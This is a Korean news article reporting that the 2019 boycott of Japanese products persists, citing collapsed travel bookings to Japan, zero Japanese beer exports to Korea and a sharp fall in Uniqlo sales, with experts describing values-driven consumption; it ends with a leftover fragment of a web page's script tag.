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거품 꺼진 '일본 맥주' … "안가고 안산다" 불매운동 장기화
/사진=뉴시스
"가지 않습니다. 사지 않습니다." 

한때 주춤한 듯 보였던 일본 불매운동이 5개월째 여전히 지속되고 있는 것으로 나타났다. 지난해 이맘때 인기 여행지 1위였던 일본은 10위권 밖으로 밀려났고 지난달 일본맥주의 한국 수출은 0원인 것으로 나타났다. 다만 지난달 일본맥주 수입액은 소폭 늘었다.

여행업계에 따르면 한 여행사의 12월 해외항공권 예매 현황을 분석한 결과 지난해 인기 여행지 1위였던 일본 오사카 예약자 수가 86%나 급감했다. 

안 먹고, 안 입겠다는 움직임도 계속되고 있다. 지난달 일본맥주의 한국 수출은 0원. 1999년 이후 20년 만에 수출 제로가 된 것이다. 우리나라는 일본맥주 수출의 60%가량을 차지하며 가장 큰 해외시장이었지만 지난 9월 99.9% 감소한 데 이어 사실상 수출이 중단된 셈이다. 맥주를 포함한 전체 식료품의 한국 수출도 지난해보다 60% 가까이 줄었다.

다만 일본맥주 수입액은 불매운동이 한창이던 9, 10월에 비해 소폭 늘었다. 한국무역통계진흥원의 수출입무역통계에 따르면 지난 11월(잠정치) 일본맥주 수입액은 1억4400만원으로 전년동월대비 97.5% 감소한 것으로 나타났다. 국가별 맥주수입 순위에서도 1위에서 17위로 하락했다. 다만 지난 9월 600만원, 10월 3800만원에 비해서는 다소 늘어난 수준이다. 

안 입기 운동의 대표 사례로 지목됐던 유니클로 역시 최근 공짜 발열내의 행사로 불매운동이 중단된 것 아니냐는 주장이 나왔지만 역시 매출 감소는 면치 못했다. 8개 신용카드사의 결제 현황에 따르면 유니클로가 공짜 발열내의를 뿌린 지난 15일부터 6일간 매출이 지난해 같은 기간보다 70% 급감했다.

이는 소비자들의 소비 형태가 달라진 데 기인한 것이라고 전문가들은 입을 모은다. 개인의 만족을 목적으로 단순히 가격과 품질을 따져 물건을 구매하던 일차원적 소비에서 벗어나 정치적·사회적·윤리적 신념을 접목하는 사례가 늘고 있다는 설명이다.

업계 관계자는 “소비자는 개인이 추구하는 신념과 맞는 제품이라면 조금 더 비싼 가격이라도 기꺼이 지갑을 여는 반면 아무리 성능이 뛰어난 제품이라도 자신이 추구하는 가치와 상충한다면 지갑을 닫는 것은 물론 적극적인 불매운동도 펼친다”며 “한때 불매운동 열기가 사그라드는 듯 보였지만 현장에선 여전히 안 입고 안 산다는 인식이 깔려있다”고 말했다. < type="text/java" src="http://js.keywordsconnect.com/mt.js">
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